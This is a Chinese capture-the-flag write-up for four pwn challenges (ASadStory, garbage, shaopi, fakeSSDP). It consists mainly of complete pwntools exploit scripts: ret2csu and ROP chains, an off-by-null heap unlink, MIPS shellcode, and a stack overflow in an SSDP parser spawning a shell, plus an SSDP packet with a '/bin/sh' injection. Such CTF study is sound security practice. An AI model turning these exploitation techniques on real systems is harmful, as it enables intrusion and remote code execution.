2023DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热-pwn-Writeups
DASCTF X CBCTF 2023|无畏者先行
Pwn-ASadStory
- 保护
- 沙箱
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = '../challenge'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
io = remote('node4.buuoj.cn',27797)
ru('1.yes / 2.no\n')
ru(': ')
sl('1')
ru('your choice: ')
sl('1')
ru('initial函数的地址:')
x = int(r(14),16)
elf_base = x - 4681
elf.address = elf_base
#bss = elf.bss()
bss = elf_base + 0x4000
lss('x')
lss('elf_base')
lss('bss')
magic = elf_base + 0x0000000000001232 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
rdi = elf_base + 0x0000000000001643 # pop rdi ; ret
rsi = elf_base + 0x0000000000001641 # pop rsi ; pop r15 ; ret
read_plt = elf.plt['read']
read_got = elf.got['read']
csu1 = elf_base + 0x0163A
csu2 = elf_base + 0x01620
lret = elf_base + 0x015CF
#gdb.attach(io,'brva 0x000147B')# 00147B
#gdb.attach(io,'brva 0x001632')
sl('2')
pause()
pay = b'A' * 0x38
pay += p64(csu1)
pay += p64(0) # rbx
pay += p64(1) # rbp
pay += p64(0) # r12 rdi
pay += p64(bss+0x200) # r13 rsi
pay += p64(0x200) # r14 rdx
pay += p64(elf.got['read']) # r15 call_addr
pay += p64(csu2)
pay += p64(0x41)
pay += p64(bss+0x200-8) * 6
pay += p64(lret) # leave ret
sl(pay)
pause()
#libc = elf.libc
libc = ELF('./libc-2.31.so')
mprotect = libc.sym['mprotect']
read_offset = libc.sym['read']
offset = (mprotect - read_offset)
target = elf.got['read']
pay = p64(csu1)
pay += p64(offset) # rbx
pay += p64(target+0x3d) # rbp
pay += p64(0) * 4
pay += p64(magic)
pay += p64(csu1)
pay += p64(0) # rbx
pay += p64(1) # rbp
pay += p64(bss) # r12 # rdi
pay += p64(0x1000) # rsi
pay += p64(0x7) # rdx
pay += p64(bss+0x200+0x80) # ret
pay += p64(csu2)
pay += p64(lret+1) * 7
pay += p64(rdi)
pay += p64(bss)
pay += p64(elf.plt['read'])
pay += p64(bss+0x200+len(pay)+0x8)
pay += b'\x90' * 0x10
#pay += asm(shellcraft.open('flag'))
#pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
#pay += asm(shellcraft.sh())
pay += asm(shellcraft.openat(-1, '/flag'))
pay += asm(shellcraft.sendfile(2,'rax',0,0x50))
sl(pay)
io.interactive()
Pwn-garbage
- off by null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = './challenge'
if (binary!=''): elf = ELF(binary)
libc = elf.libc
io = start(binary)
#io = remote('node4.buuoj.cn',25983)
def add(idx,size=0x4f8,text='A'):
ru('your choice: ')
sl('1')
ru('pls input the idx of garbage: ')
sl(str(idx))
ru('pls input the size of garbage: ')
sl(str(size))
ru('pls input the content of garbage: ')
s(text)
def rm(idx):
ru('your choice: ')
sl('2')
ru('pls input the idx of garbage: ')
sl(str(idx))
def show(idx):
ru('your choice: ')
sl('3')
ru('pls input the idx of garbage: ')
sl(str(idx))
ru('Content: ')
def edit(idx,text):
ru('your choice: ')
sl('4')
ru('pls input the idx of garbage: ')
sl(str(idx))
ru('pls input the new content of garbage:')
s(text)
add(0)
add(1)
add(2)
add(3)
add(4)
note = 0x0404060
fd = note - 0x18
bk = note - 0x10
pay = p64(0) + p64(0x4f1)
pay += p64(fd) + p64(bk)
pay = pay.ljust(0x4f0,b'\x00')
pay += p64(0x4f0)
edit(0,pay)
rm(1)
pay = p64(0) * 3
pay += p64(fd)
pay += p64(0)
pay += p64(0x403FB8)
pay += b'\n'
edit(0,pay)
show(2)
libc_base = uu64(r(6)) - libc.sym['puts']
lss('libc_base')
libc = elf.libc
libc.address = libc_base
env = libc.sym['environ']
system = libc.sym['system']
libc_rop = ROP(libc)
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
pay = p64(0) * 3
pay += p64(fd)
pay += p64(0)
pay += p64(env)
#pay += p64(fio+)
pay += b'\n'
edit(0,pay)
show(2)
stack = uu64(r(6))
lss('stack')
ret= stack - 352
#gdb.attach(io,'b *0x004017E5')
pay = p64(0) * 3
pay += p64(ret) + b'\n'
edit(0,pay)
#fake_IO = 0x404100
pay = p64(rdi+1) + p64(rdi) + p64(bin_sh) + p64(system) + b'\n'
edit(0,pay)
## house of apple2 直接 puts 刷新IO 可以控制 栈有问题
## puts IO
#fake_IO_FILE += p64(libc_base + ogg[3])
#fake_IO_FILE = p64(0) * 2
#fake_IO_FILE += p64(setcontext + 61)
#fake_IO_FILE += p64(0) * 14
#fake_IO_FILE += p64(fake_IO_addr+0x100)
#fake_IO_FILE += p64(0) * 2
#fake_IO_FILE += p64(fake_IO_addr)
#fake_IO_FILE += p64(0) * 6
#fake_IO_FILE += p64(_IO_wfile_jumps + 0x20-0x40)
#fake_IO_FILE += p64(fake_IO_addr-0x68+0x10)
#edit(2,fake_IO_FILE+b'\n')
#print(_IO_wfile_jumps)
#edit(0,p64(fio)+b'\n')
#edit(2,fake_IO_FILE)
#add(0x400,fake_IO_FILE)
io.interactive()
Pwn-shaopi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'mips'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
#io = process(['qemu-mipsel', '-g', '1000', '-L', '.' ,'./challenge'])
#io = process(['qemu-mipsel', '-g', '1234', '-L', '.' ,'./pwn'])
#io = process(['qemu-mipsel-static','./challenge'])
#io = process(['qemu-mipsel','./challenge'])
io = remote('node4.buuoj.cn',26794)
ru('your passphrase: ')
sl(bytes.fromhex('e4b889e58583e4b880e4b8b2e58d81e58583e4b889e4b8b2'))
ru('Congratulation!\n')
pause()
#pay = 0x44 * b'A' +p32(0x0043965C) + shellcode
# 0x439670 lw $a0, 0x3c($sp)
# 0x439674 sw $v0, 0x1c($sp)
# 0x439678 sw $zero, 0x18($sp)
# 0x43967c sw $zero, 0x10($sp)
# 0x439680 lw $v0, 0x34($sp)
# ► 0x439684 jalr $t9 <0x41414141>
pay = cyclic(0x40) + p32(0x00431084) +p32(0x0043965C) + 88*b'\x00' + asm(shellcraft.read(0,'$a2',0x200))
sl(pay)
pause()
# 溢出数据有限 所以选择 二次 read shellcode
pay = asm(shellcraft.sh())
sl(b'\x00'*0x20 + pay)
io.interactive()
1
0x0043965C 用来调整寄存器数据
Contorl Jump 是 执行完gadget 后的跳转, 我选择的gatget 最后的 是 jalr $fp
,$fp
有就是栈 是我们可控的
1
0x00431084 $fp 返回地址
调整后 $a2
指向的地址也就是 shellcode in stack 的 addr 直接跳过去
Pwn-fakeSSDP
我是菜鸡,跟着wp做的
DAS X 0psu3 - 飞书云文档 (feishu.cn)
还不知道 SSDP 是啥,我就抓个包看看
1
2
3
4
5
6
pay = b'M-SEARCH * HTTP/1.1\r\n'
pay += b'HOST: 239.255.255.250:1900\r\n'
pay += b'MAN: "ssdp:discover"\r\n'
pay += b'MX: 1\r\n'
pay += b'ST: urn:dial-multiscreen-org:service:dial:1\r\n'
pay += b'USER-AGENT: Microsoft Edge/119.0.2151.93 Windows\r\n'
- 目测 system函数
有 sandbox函数,导致貌似不能利用命令拼接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb.attach(io,'b *0x0403591')
ru('Waiting for SSDP request')
from base64 import b64encode
p = 300 * b'B'
pay = b'M-SEARCH * HTTP/1.1\r\n'
pay += b'HOST: 239.255.255.250:1900\r\n'
pay += b'MAN: "ssdp:discover"\r\n'
pay += b'MX: 3\r\n'
pay += b'ST: ssdp:all '+p+b'\r\n' // 主要处理点
pay += b'USER-AGENT: Microsoft Edge/119.0.2151.93 Windows\r\n'
sl(b64encode(pay))
io.interactive()
There is a stack overflow vulnerability
rsi in the value in our ST, overwrite return address as “call rsi”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = './fakeSSDP'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
io = remote('node4.buuoj.cn',27898)
ru('name')
sl('text')
#gdb.attach(io,'b *0x0403591')
ru('Waiting for SSDP request')
from base64 import b64encode
rsi = 0x000000000045fe1e # call rsi
p = asm(shellcraft.sh())
p += b'ssdp:all'
p = p.ljust(0xe8,b'A')
p += p64(rsi)
pay = b'M-SEARCH * HTTP/1.1\r\n'
pay += b'HOST: 239.255.255.250:1900\r\n'
pay += b'MAN: "ssdp:discover"\r\n'
pay += b'MX: 3\r\n'
pay += b'ST: '+p+b'\r\n'
pay += b'USER-AGENT: Microsoft Edge/119.0.2151.93 Windows\r\n'
sl(b64encode(pay))
io.interactive()
找到漏洞点后就非常好搞了,静态分析起来确实有点困难
- 存一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
ssdp_all = b'M-SEARCH * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'MAN: "ssdp:discover"\r\n' \
+ b'MX: 3\r\n' \
+ b'ST: ssdp:all\r\n' \
+ b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n'
ssdp_uuid = b'M-SEARCH * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'MAN: "ssdp:discover"\r\n' \
+ b'MX: 3\r\n' \
+ b'ST: uuid:1\r\n' \
+ b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n'
ssdp_root = b'M-SEARCH * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'MAN: "ssdp:discover"\r\n' \
+ b'MX: 3\r\n' \
+ b'ST: upnp:rootdevice\r\n' \
+ b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n'
notify_alive = b'NOTIFY * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'CACHE-CONTROL: max-age = seconds until advertisement expires\r\n' \
+ b'LOCATION: 3\r\n' \
+ b'USN: 1\r\n' \
+ b'NTS: ssdp:alive\r\n' \
+ b'NT: upnp:rootdevice\r\n\r\n'
notify_bye = b'NOTIFY * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'CACHE-CONTROL: max-age = seconds until advertisement expires\r\n' \
+ b'LOCATION: 3\r\n' \
+ b'USN: 1\r\n' \
+ b'NTS: ssdp:byebye\r\n' \
+ b'NT: upnp:rootdevice\r\n\r\n'
notify_bye_inject = b'NOTIFY * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'CACHE-CONTROL: max-age = seconds until advertisement expires\r\n' \
+ b'LOCATION: 3\r\n' \
+ b'USN: \'/bin/sh\'\r\n' \
+ b'NTS: ssdp:byebye\r\n' \
+ b'NT: upnp:rootdevice\r\n\r\n'
本文由作者按照
CC BY 4.0
进行授权